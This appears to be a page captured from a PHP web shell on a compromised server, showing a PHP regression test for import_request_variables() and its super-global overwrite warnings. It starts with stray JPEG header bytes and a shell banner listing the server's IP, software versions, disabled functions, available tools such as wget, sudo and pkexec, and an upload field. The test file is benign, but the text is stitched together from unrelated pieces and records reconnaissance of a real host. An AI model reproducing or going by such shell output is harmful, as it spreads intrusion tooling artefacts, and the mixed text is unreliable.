????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.191 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/general_functions/ |
Upload File : |
--TEST--
import_request_variables() test (overwrite super-globals)
--SKIPIF--
<?php if(PHP_VERSION_ID >= 50399){ die('skip not needed anymore without register_globals'); } ?>
--GET--
GET=0&POST=1&COOKIE=2&FILES=3&REQUEST=4
--POST--
GET=5&POST=6&COOKIE=7&FILES=8&REQUEST=9
--COOKIE--
GET=10;POST=11;COOKIE=12;FILES=13;REQUEST=14
--INI--
variables_order=CGP
--FILE--
<?php
import_request_variables("gpc", "_");
var_dump($_GET, $_POST, $_COOKIE, $_FILES, $_REQUEST);
echo "Done\n";
?>
--EXPECTF--
Warning: import_request_variables(): Attempted super-global (_GET) variable overwrite in %s on line %d
Warning: import_request_variables(): Attempted super-global (_POST) variable overwrite in %s on line %d
Warning: import_request_variables(): Attempted super-global (_COOKIE) variable overwrite in %s on line %d
Warning: import_request_variables(): Attempted super-global (_FILES) variable overwrite in %s on line %d
Warning: import_request_variables(): Attempted super-global (_REQUEST) variable overwrite in %s on line %d
Warning: import_request_variables(): Attempted super-global (_GET) variable overwrite in %s on line %d
Warning: import_request_variables(): Attempted super-global (_POST) variable overwrite in %s on line %d
Warning: import_request_variables(): Attempted super-global (_COOKIE) variable overwrite in %s on line %d
Warning: import_request_variables(): Attempted super-global (_FILES) variable overwrite in %s on line %d
Warning: import_request_variables(): Attempted super-global (_REQUEST) variable overwrite in %s on line %d
Warning: import_request_variables(): Attempted super-global (_GET) variable overwrite in %s on line %d
Warning: import_request_variables(): Attempted super-global (_POST) variable overwrite in %s on line %d
Warning: import_request_variables(): Attempted super-global (_COOKIE) variable overwrite in %s on line %d
Warning: import_request_variables(): Attempted super-global (_FILES) variable overwrite in %s on line %d
Warning: import_request_variables(): Attempted super-global (_REQUEST) variable overwrite in %s on line %d
array(5) {
["GET"]=>
string(1) "0"
["POST"]=>
string(1) "1"
["COOKIE"]=>
string(1) "2"
["FILES"]=>
string(1) "3"
["REQUEST"]=>
string(1) "4"
}
array(5) {
["GET"]=>
string(1) "5"
["POST"]=>
string(1) "6"
["COOKIE"]=>
string(1) "7"
["FILES"]=>
string(1) "8"
["REQUEST"]=>
string(1) "9"
}
array(5) {
["GET"]=>
string(2) "10"
["POST"]=>
string(2) "11"
["COOKIE"]=>
string(2) "12"
["FILES"]=>
string(2) "13"
["REQUEST"]=>
string(2) "14"
}
array(0) {
}
array(5) {
["GET"]=>
string(1) "5"
["POST"]=>
string(1) "6"
["COOKIE"]=>
string(1) "7"
["FILES"]=>
string(1) "8"
["REQUEST"]=>
string(1) "9"
}
Done